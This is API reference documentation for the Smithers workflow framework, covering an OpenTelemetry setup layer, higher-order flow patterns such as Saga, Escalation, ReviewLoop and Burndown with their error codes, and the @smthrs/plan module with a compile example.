const layerOtel: (options: Options) => Layer.Layer<
  never,
  Resource.InvalidResourceConfiguration | Endpoint.InvalidExporterEndpoint
>
```

Builds a scoped Node OTLP/HTTP layer for all three signals: a
`BatchSpanProcessor`, a `BatchLogRecordProcessor`, and a
`PeriodicExportingMetricReader`, each behind its own OTLP exporter. Exporter
objects are created only when the layer is built. `OTEL_SERVICE_NAME` and
`OTEL_RESOURCE_ATTRIBUTES` cannot add resource metadata after validation,
whether supplied by the process environment or an Effect `ConfigProvider`.
The OpenTelemetry exporters still read the standard transport variables
(`OTEL_EXPORTER_OTLP_HEADERS`, `_TIMEOUT`, `_COMPRESSION`, `_CERTIFICATE`,
`_CLIENT_CERTIFICATE`, `_CLIENT_KEY`, and their per-signal forms) from the
process environment; the explicit `endpoint` always wins over
`OTEL_EXPORTER_OTLP_ENDPOINT`. Headers set there reach this `endpoint`, so do
not set them for a different collector. `Otlp.layer` reads none of these.
Closing the scope
force-flushes both batch processors and collects the metric reader once, so
release rather than the interval is the deterministic flush.

## BrowserOtel

Browser OpenTelemetry SDK setup with explicitly injected processors. Import it
from `@smthrs/observability/BrowserOtel`.

### BrowserOtel.Options

```ts
interface Options {
  readonly resource: Resource.Configuration
  readonly spanProcessor?: (() => SpanProcessor | ReadonlyArray<SpanProcessor>) | undefined
  readonly logRecordProcessor?: (() => LogRecordProcessor | ReadonlyArray<LogRecordProcessor>) | undefined
  readonly metricReader?: (() => MetricReader | ReadonlyArray<MetricReader>) | undefined
  readonly loggerMergeWithExisting?: boolean | undefined
}
```

Processors and readers are created by the caller's factories, which keeps this
module free of Node imports and free of browser exporter policy. Every factory
is owned: it runs once during layer acquisition, after resource validation, and
the web SDK shuts down everything it returned when the scope closes. A factory
that returns an empty array installs nothing for that signal.

### BrowserOtel.layerOtel

```ts
const layerOtel: (options: Options) => Layer.Layer<never, Resource.InvalidResourceConfiguration>
```

Builds a scoped browser OpenTelemetry layer over the validated resource. A
layer with no processor factories at all still builds; it provides the resource
and bridges nothing.

---

# @smthrs/patterns
https://smithers.sh/docs/reference/api/patterns/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/patterns/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/patterns/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/patterns/docs)

> **Related APIs:** [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/plan`](/docs/reference/api/plan/)

This page is the API reference for the higher-order flow patterns: decorators
that wrap one flow, and containers that compose several. The package composes
[`@smthrs/flow`](/docs/reference/api/flow/) and the one effect model,
[`@smthrs/plan/Effects`](/docs/reference/api/plan/#effects), and imports no Node built-ins.
Nothing in it reaches the engine, the journal, or a host capability.

The loop, team, and delegation patterns have their own pages:
[Loops](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/patterns/docs/loops.md), [Teams](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/patterns/docs/teams.md), and [Delegation](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/patterns/docs/delegation.md).
The [module index](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/patterns/docs/modules.md) lists every module and where it is documented.

## The two halves of a pattern

Most containers still export a pair. `Optimizer` and `ScanFixVerify` export
`make` only; execute the returned flow on the engine.

| Half                  | What it is                                                                                                                                                    | What it must not do                                                                                                         |
| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| `make(options)`       | A `Flow` whose body is the **conservative topology**: every rung, round, member, and compensation that the pattern could reach, declared before anything runs | Branch on a value. Core plans continuations against symbolic values, so a plan-time `if` on a result is always the same arm |
| `run(input, options)` | The `Effect` that performs the value-dependent branch at runtime, short-circuiting the parts the topology reserved                                            | Change the shape the declaration promised                                                                                   |

A planner reads `make`. Execute a declared flow on the engine. The remaining
`run` forms perform their callbacks as Effects. Every `make` takes one options
object, and every `MakeOptions` accepts an optional `name` and `description`
for the returned `Flow`. An unnamed pattern is named after its kind and its
declared bounds, the way the decorators name theirs: `reviewLoop(maxRounds=3)`,
`saga(steps=reserve,charge, onFailure=compensate)`. The paired surfaces use the
same behavioral option names with call-shape differences: `Kanban` declares
`items` in its `make` options, because a static declaration needs them to lay
out the board, and `run` receives them as its first argument, the runtime
input, reserving `until` and `maxIterations` for runtime branching.

`Intervene` uses the same stage payloads in `make` and `run`:

| Stage     | Payload                                                 |
| --------- | ------------------------------------------------------- |
| `read`    | `{ phase: "read", input }`                              |
| `propose` | `{ phase: "propose", input, context }`                  |
| `apply`   | `{ phase: "apply", input, proposal }`                   |
| `report`  | `{ phase: "report", input, proposal, applied, dryRun }` |

A dry run omits `apply` and reports `applied: undefined`. The optional approval
callback retains its separate contract described in [Teams](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/patterns/docs/teams.md#intervene).

`Kanban` columns receive `{ item, column, previous }`. Successful predecessors
are the card values, unwrapped from the quarantine protocol. A failed card
makes no further column call, in the declared form and in `run` alike. Both completion callbacks receive `{ items, board }`, where
`board` contains `board`, `completed`, `failed`, and `iterations`. The declared
pass reports `iterations: 1`, retains each successful column value, and records
each card's first failure. Runtime iterations report the final pass.

Declaration-time misuse raises `PatternError` from `make`: an empty ladder, a
fractional concurrency, a compensation that is not a flow. The same condition
inside `run` becomes a typed failure rather than a throw.

## Identity and ownership

Every pattern that names things by string compares those strings the way
JavaScript does, and every pattern copies what it interprets out of the
options it is handed. This section is the contract for both.

### String identity

Item ids, member names, column names, check ids, task ids, step ids, tier
names, panelist names, and worker types are compared by exact string
equality, through `Set`, `Map`, and record keys. The comparison is
case-sensitive, trims nothing, and applies no Unicode normalization: `"é"`
as one code point and as `e` followed by a combining acute accent are two
different ids, and so are `"a"` and `"a "`. Normalize before you declare. A
record of members is read by its own enumerable string keys in the order
JavaScript reports them, which places an integer-like key such as `"10"`
ahead of the rest.

### Snapshot timing

`make` snapshots its options when it is called, before the `Flow` is
returned. The deferred body that core runs when the graph builds reads that
snapshot and never the caller's option object again. `run` snapshots its
options when it is called, before the `Effect` is returned, so an edit
between the call and the execution does not reach the effect. `Pattern.slot` returns a
frozen copy of its declaration, which is what `Pattern.bind` reads.

### What is copied

Copies are shallow and field by field. A pattern copies every array it
interprets and the interpreted fields of every record in it: an id, a name, a
priority, a risk, a flow, a callback. Nested bounds are copied the same way:
`Trellis` `envelope` and `DelegationChain` `budget`. A
record of flows or callbacks (`Panel` `panelists`, `CheckSuite` `checks`,
`Supervisor` `workers`, `DelegationChain` `execute`, and the members handed
to `Bounded` and `Quarantine`) is copied as its own entries, so a
prototype-shaped name such as `"constructor"` stays a data property.
`Trellis.execute` copies the plan it is handed, and `Supervisor.run` copies
the tasks of the plan its `plan` callback returns when it validates them.

The package never freezes a caller's object and never copies below the fields
it interprets. Flows, callbacks, and schemas are references. A value the
package carries without reading stays the caller's: the flow input, the
`baseline` of `DriftDetector`, the
`Item` record `Kanban` hands a column, and every value a callback returns.
`Kanban` reads an item's `id` once at the call, keys the board by it, and
hands the column the caller's own record. `DriftDetector.run` reads
`baseline` once at the call and hands every callback that same reference.

Three results are frozen because they are protocol values rather than caller
data: the slot `Pattern.slot` returns, the `Succeeded` and `Quarantined`
envelopes `Quarantine` produces, and the turns in a `Debate.run` transcript.
Every other result is a fresh plain object the caller may keep or edit.

## Errors

Use `Node.catch` to recover and `Effect.ensuring` in the action's handler to clean up.

The package raises three tagged errors. `PatternError` is the shared one:
every module except `Trellis` and `DelegationChain` reports its refusals and
exhaustions through it. Those two own their own errors because every
rejection they report carries a plan path, and a path is what an author has
to read to repair a plan. All three carry a `code` from a stable literal
schema, a `message`, and an optional `cause`. Causes can preserve member
errors and results that contain caller input; patterns do not redact them.

### `PatternError`

`PatternError` carries a `code` from `PatternErrorCode`, a message, and an
optional `cause` with the reported error or errors.
Member errors retain their original values, including any input they hold.

| Code                  | Raised when                                                                                                         |
| --------------------- | ------------------------------------------------------------------------------------------------------------------- |
| `missing_slot`        | A required `Pattern.slot` was neither bound nor defaulted                                                           |
| `invalid_decorator`   | A decorator broke a schema or authority contract, or an option was out of range                                     |
| `invalid_input`       | A flow input, a `Supervisor` plan, an `Optimizer` or `Sidecar` score, or a `Quarantine.settle` entry was malformed  |
| `envelope_conflict`   | A supplied flow declares authority its template excludes                                                            |
| `recursion_bound`     | `Recursion.recurse` hit its declared depth                                                                          |
| `exhausted`           | A runtime pattern reached its declared iteration or round limit, or `MapReduce` was configured to fail on no shards |
| `compensation_failed` | One or more `Saga` compensations failed while unwinding                                                             |
| `quarantined`         | `Quarantine.settle` was called on a result holding quarantined members                                              |

### `TrellisError`

`TrellisError` carries a `code` from `TrellisErrorCode`, the plan `path` the
fault was found at (`root`, or a path such as `root.parallel[1].sequence[0]`),
a message, and an optional `cause`. `Trellis.validate` returns every refusal
it finds as an array and attaches no cause. `Trellis.make` throws one for an
invalid envelope, and `Trellis.execute` fails with one for an invalid
concurrency. A trellis round that refuses its plan fails with the first
refusal's code, path, and message and carries `{ rounds, remaining, refusals }`
as its cause; `refusals` lists every validation reason as `{ code, path,
message }` data, so a durable engine can journal it. A round that needs more
fuel than remains carries `{ rounds, remaining }`. `rounds` holds the settled
rounds only, and `remaining` is the fuel left after them. Round state that
claims fuel outside the envelope fails `invalid_envelope`. A leaf failure is
not wrapped: the round fails with the leaf's own error.

`DelegationChain.run` reports the first refusal with all `refusals` in the
same cause when the derisked plan does not fit its envelope. Its `rounds` is
empty and `remaining` is the envelope fuel because execution has not started.

| Code               | Path          | Raised when                                                                                                                                                                      |
| ------------------ | ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `invalid_envelope` | `root`        | A `fuel`, `depth`, or `fanout` bound, or an `execute` `concurrency`, is not a positive safe integer                                                                              |
| `invalid_plan`     | the node      | A node is not exactly one of `agent`, `sequence`, or `parallel`, an agent has no non-empty string `goal` or carries a non-string `seat`, or a container is not a non-empty array |
| `depth_exceeded`   | the node      | A node nests deeper than the envelope `depth`                                                                                                                                    |
| `fanout_exceeded`  | the container | A container holds more members than the envelope `fanout`                                                                                                                        |
| `fuel_exhausted`   | `root`        | A plan needs more leaf calls than the envelope `fuel`, or than the fuel left after earlier rounds                                                                                |

### `DelegationError`

`DelegationError` carries a `code` from `DelegationErrorCode`, a `path`
(`root` for the chain itself, or the leaf's plan path), a message, and an
optional `cause`. `DelegationChain.make` throws one and `DelegationChain.run`
fails with one. See
[Delegation patterns](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/patterns/docs/delegation.md#delegationchain) for how the
chain climbs its tier ladder and what a repair looks like.

| Code             | Path     | Cause                                                                                                     | Raised when                                                                                                                  |
| ---------------- | -------- | --------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| `invalid_bounds` | `root`   | none                                                                                                      | `maxDepth` or `maxDeriskRounds` is not a positive safe integer, `concurrency` is set and is not one, or `tierOrder` is empty |
| `missing_tier`   | `root`   | none                                                                                                      | `tierOrder` names a tier that `execute` has no flow or callback for                                                          |
| `derisk_failed`  | `root`   | none                                                                                                      | A `PatternError` was raised inside the derisk loop; the message is that error's                                              |
| `leaf_failed`    | the leaf | The per-tier attempts, `{ tier, error }` or `{ tier, rejected }`, or the `PatternError` the ladder raised | No tier settled the leaf                                                                                                     |

## `Pattern`

`Pattern.slot({ input, output, default? })` declares a flow-valued hole: two
schemas, and optionally a default flow to fill it. The default is checked
against the schemas at the call, and the slot comes back as a frozen copy.
`Pattern.bind(slot, supplied?)` resolves the slot to the supplied flow or the
default, applies the same check, and raises `missing_slot` when there is
neither and `invalid_decorator` when the schemas do not fit.

`Pattern.decorate(flow, decorator)` applies a decorator and re-declares the
result under the wrapped flow's schemas and authority ceiling. Its payload,
success, and error schemas must pass the compatibility check; an incompatible
schema raises `invalid_decorator`. Capabilities
are intersected with the wrapped flow's, and a decorator result that widens the
wrapped flow's effect envelope is refused with `envelope_conflict`. The
decorator call becomes part of declaration identity, so a wrapped flow and a
bare one are different steps. `Pattern.decorateAll(flow, decorators)` applies a
list left to right, which puts the last decorator outermost.
`Pattern.clipped(template, supplied)` reports what a template excludes from a
supplied flow: the capabilities, reads, writes, mode, and tier that the
re-declaration removes.

`Pattern.Approved` is the literal `"approved"` that `Runbook` and `Intervene`
require from their approval members. To ask a person, call `HumanTask` and
branch on the answer.

A retry is not a decorator. Declare it as the `retryPolicy` of the action that
can fail: the engine records every attempt and the wait before the next one,
so a crash resumes the ladder where it stopped. See
[Retries](/docs/concepts/retries/).

## `Bounded`

`Bounded.all(members, { concurrency, priority? })` splits a named record into
batches of `concurrency` and sequences the batches, so the plan shows exactly
how many calls can be in flight. Its node preserves each named member's
success type and the union of member errors and requirements, as `Node.all` does.
`Bounded.run(members, { concurrency,
priority?, priorities? })` is the Effect form.

Members are ordered by priority, highest first, and declaration order breaks a
tie so a plan built twice from one record is identical. A member that carries
its own `Node.priority` keeps it; every other member inherits the container's.
Priority is a scheduling hint and never enters key material, so raising it does
not invalidate a cached step.

`Bounded.run` follows `Effect.forEach`: the first failure interrupts the
members still in flight.

## `Quarantine`

`Quarantine.all(members, { policy: "quarantine" })` settles every member in an
explicit envelope: `{ _tag: "Succeeded", member, value }` or
`{ _tag: "Quarantined", member, error }`. Nesting successful values makes the
protocol unambiguous even when a user value has either complete wire shape.
`policy: "halt"` is a plain join that preserves raw successful values and does
interrupt siblings. `Quarantine.run` is the Effect form, and
`Quarantine.settle` unwraps successes or returns a `quarantined` failure.
`isSucceeded` and `isQuarantined` narrow joined entries. Typed failures are
isolated; defects and interruptions still propagate.
`settle` preserves member errors in its failure cause, including any caller
input those errors contain. Quarantine first shipped in 1.0.0-rc.0; its API
tags use 1.0.0.

## `MapReduce`

`MapReduce.make({ map, reduce, concurrency, onEmpty })` declares one map call
per shard, batched into `Node.all` groups of `concurrency` with the batches
sequenced, then one reduce call. The flow input is `{ shards }`, and the array
must pass the `Payload` schema's array check and be available while the graph builds, because a
declaration cannot count shards it does not hold. Members are keyed by ordinal
(`shard-0`, `shard-1`), which makes the reduce input independent of the order
the workers finish in.

`MapReduce.run(input, options)` maps with `Effect.forEach` at `concurrency` and
reduces in shard order. `map` receives `{ shard, index, input }` and `reduce`
receives `{ input, mapped }`.

`onEmpty` decides what an empty shard list means: `"reduce"` calls the reducer
with an empty array, `"succeed"` returns an empty array without calling it, and
`"fail"` reports `exhausted`. `concurrency` must be a positive safe integer.
For `"reduce"` and `"fail"`, the runtime success type is the reducer's result.
For `"succeed"` or a policy typed as `OnEmpty`, it also permits a readonly array
of mapped values.

## `Recursion`

`Recursion.recurse({ child, fuel, depth, fanout, parent? })` expands a tree of
work into a declared graph. A plain value is a leaf; a `{ input, children }`
branch expands recursively. Fuel is shared by the whole tree, depth is
decremented per level, and every child list is checked against fan-out before
any child is admitted. Each child call receives `{ input, envelope }`, where
the envelope carries the fuel left, the depth left, and the fan-out bound, so a
child can attenuate what it was given.

The tree has to be a value you already hold, because the expansion happens
while the graph is built. For a tree a model writes while the run is in flight,
use [`Trellis`](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/patterns/docs/delegation.md#trellis), which validates a plan before
compiling it.

A nested call may narrow its parent envelope and may not widen it, and `parent`
is the envelope it is checked against. Every bound must be a positive safe
integer. Exhausting fuel, nesting past `depth`, or exceeding `fanout` raises
`recursion_bound`.

## `Debate`

`Debate.make({ proponent, opponent, judge, rounds })` declares `rounds`
alternations of proponent then opponent, then one judge call over the whole
transcript. `rounds` is expanded while the flow is declared, so the call count
is a fact about the declaration rather than about a run.

Both forms hand members the same payloads: `proponent` receives
`{ input, transcript, round }`, `opponent` receives that plus `proponent`, and
`judge` receives `{ input, transcript }`. `round` counts from 1.

`Debate.run(input, options)` runs the same exchange as an Effect. The judge's
value is the result. Each turn is frozen as it is appended and each callback
gets a frozen snapshot of the transcript, while the payloads inside a turn stay
the caller's own references. `rounds` must be a positive safe integer.

## `Panel`

`Panel.make({ panelists, moderator, roles?, concurrency? })` declares one call
per panelist, then the moderator over `{ input, opinions }`. A role named in
`roles` is passed to that panelist as `{ input, role }` and enters its key
material, so changing a role changes the declaration. Generated labels include
the panelist names, roles, and concurrency. An explicit `name` overrides the
generated label. `Panel.run` keys opinions
by panelist name whatever order they complete in.

## `ReviewLoop`

`ReviewLoop.make({ produce, review, revise, maxRounds })` declares one produce
call, then up to `maxRounds` reviews with a revise call between each pair:
`maxRounds: 3` declares six calls. `ReviewLoop.run(input, options)` produces
once, then reviews and revises until a review is accepted, and stops at that
round.

`review` receives `(output, round)` and `revise` receives
`{ output, review, round }`. `ReviewLoop.accepted` is the acceptance reader:
`true`, `"approved"`, `{ approved: true }`, or `{ accepted: true }`. Both
outcomes are tagged and nest the produced value: an approved round returns
`{ _tag: "Approved", output }` and a run that spends every round returns
`{ _tag: "Exhausted", output, review }` rather than failing, so the caller
branches on `_tag` and decides what an unapproved result is worth. The value
the loop produced never forges the other arm, whatever shape it has.
`maxRounds` must be a positive safe integer.

Use `ReviewLoop` when one artifact is revised in place. When every issue needs
its own fix, use [`ScanFixVerify`](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/patterns/docs/loops.md#scanfixverify).

## `Escalation`

`Escalation.make({ rungs, accept?, fallback? })` declares a ladder of
alternative strategies. A rung is a flow, or `{ flow, escalateIf }` when that
rung decides for itself. `accept` decides every rung that declares no
`escalateIf`; `fallback` is the last rung and runs only after all of them
escalated, which is where a human approval flow belongs.

`Escalation.run(input, options)` returns `{ level, result, exhausted: false }`
naming the rung that settled, counting from zero. A fallback result carries the
rung count. If every rung escalates and no fallback is declared, the last
result comes back as `{ level, result, accepted: false, exhausted: true }`.
`exhausted` is present on both arms, so a caller reads it without a property
check.

`defaultEscalate` decides a rung that has neither an `escalateIf` nor a shared
`accept`: `Escalation.run` applies it to the result, and `Escalation.make`
declares it as a `Node.branch` on the same result. It escalates on a missing
result and on the conventional failure markers: a set `error`, `failed: true`,
or `ok: false`.

Rungs are alternative strategies, not model-seat fallback. Provider and seat
fallback belong to model routing, before a flow is selected.

## `Saga`

`Saga.make({ steps, onFailure })` declares the forward chain and its
compensation arms. Each step's continuation is wrapped in a `Node.catch` whose
arm calls that step's compensation and re-raises, so a failure deeper in the
chain unwinds one step at a time, most recent first, and the plan lists the
compensation calls in reverse order. `onFailure` defaults to `compensate` in
both halves. `make` refuses a step whose action or compensation is not a flow.
Both compensation policies continue unwinding after an undo fails and report
`PatternError { code: "compensation_failed" }`. Its cause holds the original
`failure` and the failed undos in `residue`, sorted by step id. A chain that
runs to the end returns `{ _tag: "Completed", values }`, where `values` holds
each step's value keyed by step id. A clean unwind returns
`{ _tag: "Compensated", failure }` under `compensate` and re-raises the
original failure under `compensate-and-fail`. Step values are nested under
`values`, so a step id can never forge the compensated arm.

`Saga.run(input, { steps, onFailure })` registers one scope finalizer per
completed step, so the unwind is LIFO and runs on interruption as well as on
failure. A compensation that dies or whose callback throws before returning an
effect is recorded as a failed compensation rather
than raised as a defect, so the residue still names it and the finalizers
behind it still run. See
[Undo work with compensation](/docs/guides/compensation/).

## `Burndown`

`Burndown` works a backlog down to nothing: GitHub issues, Linear tickets,
queue messages, or anything else whose items carry a stable string `id`. Its
halves differ from the other containers because a round's width is the
length of a backlog that no plan knows when it is built.

| Export                                | What it is                                                                                                    |
| ------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| `make(options)`                       | The lineage: capacity gate, `discover`, one `dispatch` call, then a `Flow.to` handoff to the next round       |
| `round(input, options)`               | The `Effect` one dispatch runs: select, claim, work, land, release, at `concurrency`, a freed slot at a time  |
| `dispatch(tag)`                       | Declares the dispatch action `make` calls, with `DispatchPayload` in and `RoundResult` out                    |
| `layer(action, options)`              | Implements that action with `round`                                                                           |
| `child(flow, payload)`                | Builds a `work` member that runs `flow.execute(payload, { executionId })` under the derived id                |
| `signal(name?)`                       | The `WaitFor` deferred an operator completes to resume an exhausted burndown                                  |
| `Stop`                                | The typed failure that stops a round and releases its open claims                                             |
| `Held`                                | The typed failure a `claim` raises when another owner holds the item                                          |
| `available`, `waitUntil`, `exhausted` | `Capacity` answers: launch at most `slots`, sleep until an epoch-millisecond instant, or park for an operator |
| `ours`, `skip(detail)`                | `Selection` answers                                                                                           |
| `LandStep`, `ReleaseStep`             | The action names a round journals each item's landing and release under                                       |

`make({ discover, dispatch, capacity?, maxRounds, deadline?, signal?, error? })`
settles to `{ rows, rounds, stopped }`. Each row is `{ id, status, detail, requeues? }`
with `status` one of `landed`, `held`, `failed`, `skipped`, or `requeued`. A round that
launched, deferred or requeued at least one item hands off to the next round,
which rediscovers the backlog. A round with none of these outcomes settles as `drained`,
unless its selection erred, when the round's `Stop` fails the lineage.
`maxRounds` bounds every round the lineage opens, parks included, and
settles it as `max_rounds`. `deadline` is the lineage deadline `Flow.make`
enforces. `make` throws an `invalid_decorator` `PatternError` for a
`maxRounds` that is not a positive safe integer below `Number.MAX_SAFE_INTEGER`, a `deadline` that is not a
positive finite duration, or a blank `signal`.

`MakeOptions<E, I>` checks discovery and capacity against `{ input: I, round: number }`,
with results `ReadonlyArray<Item>` and `Capacity`. It checks dispatch against
`DispatchPayload` and `RoundResult`. `make` infers `I` from the members.
The fold captures the full carried rows because their status, detail and requeue
count affect its output and plan identity.

`error` declares the schema for failed lineage results, including provider
step errors, `Stop` and `PatternError`. It defaults to `Schema.Unknown`;
declare a union for tagged Error instances so the journal can encode them.

A `capacity` answer of `WaitUntil` arms `Sleep.action` until the instant, and
`Exhausted` awaits `WaitFor.action` on `signal` (default
`"burndown/capacity"`). Either then hands off to a fresh round that asks for
capacity again, so the lineage never launches while it is parked and never
polls. A host executing a burndown with a capacity member provides
`Sleep.layer` and `WaitFor.layer`. A capacity or dispatch answer outside its
schema is a defect.

`round` leaves alone the ids in `settled`, so a `held` or `failed` item is
never retried within a lineage, while a `skipped` or `requeued` item is
reconsidered every round. Only the exact `ours` selection launches an item; a malformed or failed
selection skips it. An answered `skip` is a policy decision; a failed or
malformed selection is an error. When no item is ours and none was requeued
but a selection erred, `round` fails with `Stop` before any claim, naming how
many selections failed and the first three causes. Of the items that are ours, the first `slots` launch in
discovery order, at most `slots` at a time. When an item finishes working, its
slot asks the round's `capacity` member, when there is one, and admits the next
item that is ours only on an `Available` answer with more slots than the work
still in flight. The items never admitted count as `deferred`; without a round
`capacity` member that is every item past `slots`. A `claim` that fails with
`Held` settles the item `held` and is not released. A typed claim, work, or landing failure classified by `Fault.of` as `infra`
requeues its item up to `maxRequeues` (default 3), then fails it. The count
is persisted in `row.requeues`; pass the carried `rows` to `round`.
Each execution of the same round Effect initializes its counts from those
input rows, without retaining counts from a previous execution.
`make` passes these rows through `DispatchPayload`, and `layer` forwards them.
Other failures settle only their own item as `failed`. A worked item enters the landing queue at once: `land`
runs one item at a time, in the order work finished, while other items still
work, and a failed landing does not stop the next; without `land`, a worked
item counts as landed. `release` runs once for every successful claim, as soon
as the item settles, with its final status. Claim acquisition and registration
for cleanup form one uninterruptible step; cancellation waits for acquisition
to finish and releases the acquired claim. Interrupted work settles its item
`failed` with `work: interrupted` only when the optional `cancelled` member
answers `true` for a recorded operator cancel; any other interruption, such as
a child released because its host's lease lapsed, gets a `requeued` row and a
`requeued` release, and a later round works the item again. A member defect settles only its item as `failed`, including the
`Fault.of(defect)` class and tag in its detail; siblings continue. This also
applies to thrown selection, detail, landing, and release callbacks.
Only typed `Stop({ message })` stops the round; open claims are released.
A defect containing a `Stop` is still an item defect. When the round itself is
interrupted, each open claim is released the same way if `cancelled` answers
`true`, and otherwise with status `requeued` and `round interrupted`. A release failure is appended to the row's detail. Rows keep
discovery order. `round` fails with `PatternError` before any member runs for a
blank `key`, a `concurrency` or `slots` that is not a positive safe integer,
a negative or fractional `round`, or an item without a unique nonblank string
`id`. A duplicate id error carries at most the first 64 UTF-16 code units and
the id's full length.

Each `work` call receives `executionId` `${key}/${item.id}`. Hand it to
`Flow.execute`, or build `work` with `child`, so a rerun reaches the child
execution that already exists instead of starting a second one.

Inside a running flow, `round` runs each landing as a durable action named
`LandStep` and keyed by the item, so a rerun replays a recorded landing
instead of calling `land` again. It journals each landing and release as it
settles, as `flows.engine.node-scheduled` and `flows.engine.node-settled`
records with node id `${key}/${item.id}/land` or `${key}/${item.id}/release`
and the item's row as the settled value. A scheduling failure stops before
settlement. Each scheduled step attempts settlement once; a settlement failure
stops the round without a second attempt. If the step itself failed, a recording
failure preserves the original step error. See
[Burn down a backlog](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/patterns/docs/burndown.md) for a GitHub issues example.

## A worked release

[Failure control](/docs/examples/30-failure-control/) runs one release through
five of these patterns: bounded checks, a quarantined flake, an escalating
fixer, a saga that unwinds a half-finished deploy, and a lock the finalizer
always releases. Its first assertion reads the declaration alone, before
anything runs, to show the compensations in reverse order.

## Declaration size

Every `make` expands its declared bounds eagerly into graph nodes. The options
that expand or multiply topology are `Optimizer.maxIterations`,
`ReviewLoop.maxRounds`, `Debate.rounds`, `Recursion` envelope depth across
fanout, `ScanFixVerify.maxRetries` times `maxIssues` in concurrency-sized
batches, `Trellis` envelope fuel, and `DelegationChain.maxDepth` together with
`maxDeriskRounds`. These bounds are sized for tens to low hundreds of declared
calls. A very large bound builds a very large graph before anything runs. For a loop whose count depends on runtime values, use a flow that hands off
to itself with `Flow.to` and bounds its lineage with `maxRounds`.

A bound that unrolls into a sequenced chain is capped a second way. Core
refuses a plan nested past the exported `Graph.maximumGraphDepth` (currently
1,000 levels). The declaration limit for a chain with `callsPerUnit` nested
calls per unit is `Math.floor((Graph.maximumGraphDepth - 1) / callsPerUnit) - 1`:
the root and settled value also spend depth. `Optimizer.make` refuses oversized
options at declaration with an `invalid_decorator` `PatternError` naming the
option and limit. See the boundary assertions in `Optimizer.test.ts`.
Other topology, including deeper
member flows or an enclosing unrolled pattern, spends the same depth budget:
even a declaration within its constructor's limit can fail at `Graph.build`
with a `graph_too_deep` `GraphBuildError` naming the node.

## Entry points

The root exports each module as a namespace, and every module is also
importable as `@smthrs/patterns/<Module>`. The `internal/*` and nested
`*/index` subpaths are private. The [module index](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/patterns/docs/modules.md) lists all 24
modules with their specifiers.

[`@smthrs/flow`](/docs/reference/api/flow/) supplies `Flow` and `Graph`, and
[`@smthrs/plan`](/docs/reference/api/plan/) supplies `Node`. See
[Flows, actions, and plans](/docs/concepts/flows-actions-plans/) for what a built
graph means, and [`@smthrs/plan`](/docs/reference/api/plan/) for the persisted form a graph
compiles into.

---

# @smthrs/plan
https://smithers.sh/docs/reference/api/plan/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/plan/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/plan/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/keys`](/docs/reference/api/keys/)

`@smthrs/plan` exports thirteen modules from its root entry point, and each is also
importable from `@smthrs/plan/<Module>`:

```ts
import { FileSet, Node, Plan, PlanDiff } from "@smthrs/plan"
// or
import * as Plan from "@smthrs/plan/Plan"
```

`@smthrs/plan/internal/*` and `@smthrs/plan/*/index` are not public.
`@smthrs/plan/package.json` is exported.

| Namespace         | What it is                                                                                                |
| ----------------- | --------------------------------------------------------------------------------------------------------- |
| `Node`            | The pure, pipeable authoring AST: `succeed`, `all`, `map`, `andThen`, `branch`, `catch`, `priority`.      |
| `Planned`         | The strict placeholder a body sees where a step result will be, and the reference it records.             |
| `GraphBuildError` | The refusals a plan-time build raises instead of producing a wrong plan.                                  |
| `FileSet`         | The static filesystem vocabulary: patterns, globs, tree artifacts, filegroups, and overlap.               |
| `Effects`         | The one effect envelope model: declare, narrow a step against an envelope, find write overlap.            |
| `KeyMaterial`     | What a planner declares about a node: body, tagged input references, layers, capabilities, effects.       |
| `StepKey`         | The compiler that turns material plus resolved dependency digests into a [`@smthrs/keys`](/docs/reference/api/keys/) key. |
| `Plan`            | `compile`, `append`, the node and conflict schemas, and the digest an approval binds to.                  |
| `PlanDiff`        | A plan comparison as a value: added, removed, re-keyed with attribution, unchanged.                       |
| `Placement`       | Where a node runs: the four directives, their host-selection detail, and the annotation key.              |
| `Scheduling`      | The pure admission policy a scheduler consults: concurrency, priority order, and the halt rule.           |
| `CachePolicy`     | How far a recorded sealed result travels, how long it stays servable, and the key it rides under.         |
| `Repetition`      | What a bounded repetition answers with at its ceiling.                                                    |

The shortest composition that reaches every layer:

```ts
import * as NodeCrypto from "@effect/platform-node/NodeCrypto"
import { Plan, PlanDiff } from "@smthrs/plan"
import * as Effect from "effect/Effect"

const program = Effect.gen(function*() {
  const plan = yield* Plan.compile({
    planId: "review-4821",
    flow: "example/Review",
    nodes: [
      {
        id: "read-pr",
        material: {
          version: "flows/key-material/v2",
          kind: "sealed",
          body: { action: "read-pr", pr: 4821 },
          inputs: [],
          layers: [],
          capabilities: ["net:get"]
        },
        effects: { reads: [], writes: ["pr.json"], boundaryMode: "hard" }
      },
      {
        id: "run-tests",
        material: {
          version: "flows/key-material/v2",
          kind: "sealed",
          body: { action: "run-tests" },
          inputs: [{ _tag: "Ref", from: "read-pr", path: [] }],
          layers: [],
          capabilities: []
        },
        effects: { reads: ["pr.json"], writes: ["report.json"], boundaryMode: "hard" }
      }
    ]
  })

  return PlanDiff.diff(plan, plan)
}).pipe(Effect.provide(NodeCrypto.layer))
```

